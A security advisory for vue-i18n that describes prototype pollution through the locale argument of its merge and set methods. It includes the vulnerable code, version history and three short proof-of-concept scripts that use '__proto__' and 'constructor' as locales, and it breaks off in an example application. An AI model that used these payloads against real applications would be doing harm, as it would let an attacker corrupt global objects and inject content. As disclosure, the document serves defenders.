npm · vue-i18n
Vue I18n: Prototype Pollution via the `locale` argument of `mergeLocaleMessage`, `mergeDateTimeFormat` and `mergeNumberFormat`
In vue-i18n v9 and later, mergeLocaleMessage(), mergeDateTimeFormat() and mergeNumberFormat() look up the entry to merge into with container[locale]. When the locale is the name of a property inherited from Object.prototype, this lookup returns a built-in object, and the methods write into it:
'__proto__', all three methods write into Object.prototype.'constructor', mergeDateTimeFormat() and mergeNumberFormat() write into the global Object. A format with a key such as keys replaces Object.keys.Object.prototype methods, such as 'toString', mergeDateTimeFormat() and mergeNumberFormat() write into those built-in functions.setLocaleMessage(), setDateTimeFormat() and setNumberFormat() do not write into built-in objects, but with '__proto__' they replace the prototype of the container: the messages, datetimeFormats or numberFormats object passed to createI18n() or useI18n(), which vue-i18n uses as is, without copying. The given object then supplies messages or formats for locales that have none of their own, in every instance that uses the same object.
An application that passes an untrusted value as the locale (for example, one taken from a URL parameter, a cookie or the Accept-Language header) lets an attacker pollute the global prototype chain, modify built-in objects, or inject messages. useI18n({ useScope: 'global' }) passes the keys of its messages, datetimeFormats and numberFormats options to these methods as locales, so untrusted keys there (for example, from JSON.parse) have the same effect.
This affects the methods of the global and local composers (i18n.global, useI18n()) and of the Legacy API VueI18n instance (v9 to v11), in server-side rendering and in the browser. Stable releases of petite-vue-i18n have no datetime or number format APIs, so only mergeLocaleMessage() and setLocaleMessage() with '__proto__' apply there.
vue-i18n v7 and v8 (for Vue 2) and vue-i18n-bridge are also affected:
mergeDateTimeFormat() and mergeNumberFormat() write into built-in objects, and so does mergeLocaleMessage() up to 8.15.2.setLocaleMessage(), setDateTimeFormat() and setNumberFormat() with '__proto__' replace the prototype of the container, as described above. In 7.0.0 and 7.0.1, mergeLocaleMessage() with '__proto__' does the same.vue-i18n-bridge is affected through mergeDateTimeFormat(), mergeNumberFormat() and the three setters.The three methods look up the object to merge into with container[locale], and then copy into it (composer.ts in v11.4.13):
function mergeLocaleMessage(locale, message) {
_messages.value[locale] = _messages.value[locale] || {}
// ...
deepCopy(message, _messages.value[locale])
}
function mergeDateTimeFormat(locale, format) {
_datetimeFormats.value[locale] = assign(_datetimeFormats.value[locale] || {}, format)
// ...
}
function mergeNumberFormat(locale, format) {
_numberFormats.value[locale] = assign(_numberFormats.value[locale] || {}, format)
// ...
}
The containers are ordinary objects, so container[locale] also finds properties inherited from Object.prototype:
'__proto__', the lookup goes through the __proto__ accessor and returns Object.prototype. deepCopy() and assign() (Object.assign) then copy the given keys onto Object.prototype. deepCopy() skips __proto__ keys in its source (the fix for CVE-2024-52810), but it does not check its destination.'constructor', the lookup returns the global Object, and assign() copies the given keys onto it. For 'toString', 'valueOf' and most other methods of Object.prototype, it returns that built-in function. When the containers are Vue reactive proxies, as in the browser, Vue 3.2.46 and later return their own wrapper for 'hasOwnProperty', so that name writes into the wrapper instead. mergeLocaleMessage() throws Invalid value for these names, because deepCopy() throws when its destination is not an object.setLocaleMessage(), setDateTimeFormat() and setNumberFormat() assign with container[locale] = value. For '__proto__', this calls the __proto__ setter, which replaces the prototype of the container with the given object. The container is the object the application passed in, so every instance that uses the same object sees the change.
v7, and v8 up to 8.3.0, merge with Vue.util.extend(this._vm.dateTimeFormats[locale] || {}, format), and 8.3.1 and later with merge(this._vm.dateTimeFormats[locale] || {}, format) (the same for number formats). Both write into their first argument. From 7.0.2 to 8.15.2, mergeLocaleMessage() also merges into this._vm.messages[locale] || {}; 8.15.3 changed it to merge into a new object. Up to 7.6.0, the setters assign with this._vm.messages[locale] = message and so on; 7.7.0 changed them to this._vm.$set(). vue-i18n-bridge uses the composer above, but its mergeLocaleMessage() passes the call to the vue-i18n v8 instance it wraps before copying, and that instance stores a new object for the locale, so only the other methods are affected.
'__proto__' with mergeLocaleMessage():
npm install vue-i18n@11.4.13 vue
node poc.mjs
Output:
Before Attack: {}
After Attack: {"pollutedKey":123}
// poc.mjs
import { createI18n } from 'vue-i18n'
const i18n = createI18n({ legacy: false, locale: 'en', messages: { en: {} } })
// e.g. a locale taken from a URL parameter such as `?lang=__proto__`
const lang = '__proto__'
console.log('Before Attack: ', JSON.stringify({}.__proto__))
i18n.global.mergeLocaleMessage(lang, { pollutedKey: 123 })
console.log('After Attack: ', JSON.stringify({}.__proto__))
delete Object.prototype.pollutedKey
mergeDateTimeFormat('__proto__', format) and mergeNumberFormat('__proto__', format) pollute Object.prototype in the same way.
'constructor' with mergeDateTimeFormat():
node poc-constructor.mjs
Output:
Before Attack: function
After Attack: object
TypeError: Object.keys is not a function
// poc-constructor.mjs
import { createI18n } from 'vue-i18n'
const i18n = createI18n({ legacy: false, locale: 'en', messages: { en: {} } })
// e.g. a locale taken from a URL parameter such as `?lang=constructor`
const lang = 'constructor'
console.log('Before Attack: ', typeof Object.keys)
i18n.global.mergeDateTimeFormat(lang, { keys: { year: 'numeric' } })
console.log('After Attack: ', typeof Object.keys)
try {
Object.keys({})
} catch (error) {
console.log(String(error))
}
mergeNumberFormat('constructor', format) has the same effect.
'__proto__' with setLocaleMessage():
node poc-set.mjs
Output:
Before Attack: hello
After Attack: injected
// poc-set.mjs
import { createI18n } from 'vue-i18n'
const i18n = createI18n({
legacy: false,
locale: 'ja',
fallbackLocale: 'en',
missingWarn: false,
fallbackWarn: false,
messages: { en: { hello: 'hello' } }
})
console.log('Before Attack: ', i18n.global.t('hello'))
// e.g. a locale taken from a URL parameter such as `?lang=__proto__`
i18n.global.setLocaleMessage('__proto__', { ja: { hello: 'injected' } })
console.log('After Attack: ', i18n.global.t('hello'))
Applications are affected when an attacker can control the locale argument of these methods, or the keys of the messages, datetimeFormats or numberFormats options of useI18n({ useScope: 'global' }). For example, an application that loads messages for the locale in the URL:
// e.g. /:lang/... routes
const lang = route.params.lang // attacker-controlled
const messages = await fetch(`/api/messages/${lang}`).then(res => res.json())
i18n.g
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.